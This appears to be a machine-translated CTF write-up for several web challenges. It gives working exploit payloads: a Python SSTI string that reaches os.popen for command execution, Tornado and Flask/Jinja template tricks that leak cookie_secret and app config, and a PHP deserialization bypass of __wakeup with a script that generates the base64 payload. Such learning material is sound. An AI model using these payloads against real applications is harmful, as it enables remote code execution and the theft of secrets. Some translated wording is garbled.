Web_python_template_injection
質問はそれがSSTIであることを直接伝えます:
注入の試み:
7 * 8が実行され、実際に注入があります。
現在、SSTIの学習はまだ始まったばかりで、ペイロードはマスターから借用されています。
[テンプレートインジェクション]ペイロード分析を実行するためのSSTIコマンド
コマンド実行ペイロード:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
フラグを取得するためにそれを猫にします。
easytornado
タイトルの3つのtxtを開き、別々に開きます。
ここでも、トルネードフレームワークの注入について学びました。
flag.txtの内容に応じて/ fllllllllllllagに直接アクセスして、このページにジャンプします。
同時に、msgパラメーターを表示できること
がわかりました。試してみてください。SSTIは存在しますが、その使用方法です。
ヒント.txtで与えられる:
md5(cookie_secret + md5(ファイル名))
URLに別のパラメータfilehashがあり、ヒントにリンクされているようです。
次に、次のステップはcookie_secretを取得することです。
後で私は学びました:
cookie_secretは、Applicationオブジェクトのsettings属性にあります。
ハンドラーは、現在のページを処理するRequestHandlerオブジェクトを指します。RequestHandler.settingsはself.application.settingsを指すため、handler.settingsはRequestHandler.application.settingsを指します。
私が理解していない一連のこと。
つまり、cookie_secret、payloadを取得します。
/error?msg={
{
handler.settings}}
次に、計算して値を渡し、フラグを取得します。
神社
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
直接開くのはフラスコフレームワークのコードです。ここには2つのルートがあります。
/
/神社/
次に()をフィルタリングしました
ペイロード:
{
{
url_for.__globals__['current_app'].config}}
これらの3つのSSTIを要約します。
良すぎる、何もわからない、後でSSTIを理解するために最善を尽くします。
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
問題を逆シリアル化し、コードを分析します。
コンストラクター__construct()は、プログラムの実行開始時に変数に初期値を割り当てます。
デストラクタ__destruct()は、オブジェクトが配置されている関数の実行後に自動的に呼び出されます。
デシリアライズが実行される前に、マジックメソッド__wakeupが最初に実行されます
__destruct()を使用してfl4g.phpを表示し、__ wakeupをバイパスします。メンバー属性の数が実際の数よりも多い場合は、wakeupメソッドをバイパスできます。
通常のバイパス、+バイパスを使用します。
プライベートオブジェクトの使用中の形式は次のとおりです。
%00クラス名%00変数名(%00は1桁の長さを占めます)
したがって、ペイロードを作成します。
O:+4:"Demo":2:{
s:10:" Demo file";s:8:"fl4g.php";}
値もここではbase64で暗号化されていますが、base64で暗号化されたWebサイトを使用すると、%00が失われるため、ここで暗号化するためにいくつかのスクリプトを使用することをお勧めします。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
%00が欠落していることに注意してください。